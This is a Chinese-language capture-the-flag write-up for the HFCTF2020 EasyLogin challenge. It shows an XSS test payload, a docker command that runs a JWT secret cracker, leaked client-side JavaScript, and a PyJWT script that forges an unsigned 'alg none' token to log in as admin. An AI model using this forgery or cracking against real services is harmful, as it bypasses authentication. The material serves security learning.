[HFCTF2020]EasyLogin

考点:

jwt身份伪造

node.js框架

首先我们拿到题目的就是看到一个登录框的形式

我们先尝试登录,刚开始猜想是sql注入之类的,然后就跑了一下fuzz但是没有任何的过滤,肯定就不是了。然后就走正常的步骤。

登录后有弹窗点击获取flag但是权限不够。那这问题就清楚了,我们需要更高的权限、

admin的用户有不让我们登录,说明就是我们需要登录admin用户

有弹窗,是获取用户权限,那我们首先想到的就是xss了,然后测试一下,但是没有弹窗的地方

1
2
<script>alert(“hey!you are attacked”)</script>

完全没有反应,就直接是在post参数里面读取的没有放在html文件里面处理,是在PHP处理的。

方法不行,换个姿势。

抓包看数据流向

还真有收获,我们发现在注册的页面,注册完以后,会返回一个秘钥token值

同时在登录的时候会将token和用户名密码放在一起

这个秘钥有意思了,分三段,最前面的那一段是不是很熟悉,

没错就是上次做的jwt

直接上工具爆秘钥

1
https://github.com/brendan-rius/c-jwt-cracker

搞活

1
2
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiJhc2QiLCJwYXNzd29yZCI6ImFzZCIsImlhdCI6MTYyODU3MDkzNH0.tRWvFyOpamdx_c50i9HoS9NR0HLdJQRKeOiZG8wbNcg

但是还是我们太天真了

md直接解不出来。

看来肯定不是爆密码的事情了。

然后就没有办法了,继续回去看源码还有什么了。

这里还隐藏了一个静态js源码。

这里就是js源码泄露的一个问题了

直接上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
*  或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

但是这个app.js根本就没有什么愿意,就是简单的每个文件夹的作用。

最后实在没有办法了,看wp了。

这里确实有js源码的泄露,但是不是这个目录我丢,还需要自己找。

https://www.cnblogs.com/karsa/p/12762297.html

1
2
3
4
f12审查元素,发现app.js,发现是node.js写的后端。框架用的是koa
之后主要的逻辑代码我没找到,看wp才知道是controllers下的api.js
赵总说是经验,好吧。。。学到了。

关于node.js框架结构

1
2
js弱类型语言,空数组与整数1比较时,返回turue

源码

解析

下面开始操作

jwt认识

jwt绕过

伪造一下jwt

因为我们上面刚刚已经试过没有办法破解jwt,那我们直接就伪造就完事了

1
pip3 install PyJWT

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1595991011
},
algorithm="none",key=""
).decode(encoding='utf-8')

print(token)


然后提交

登录成功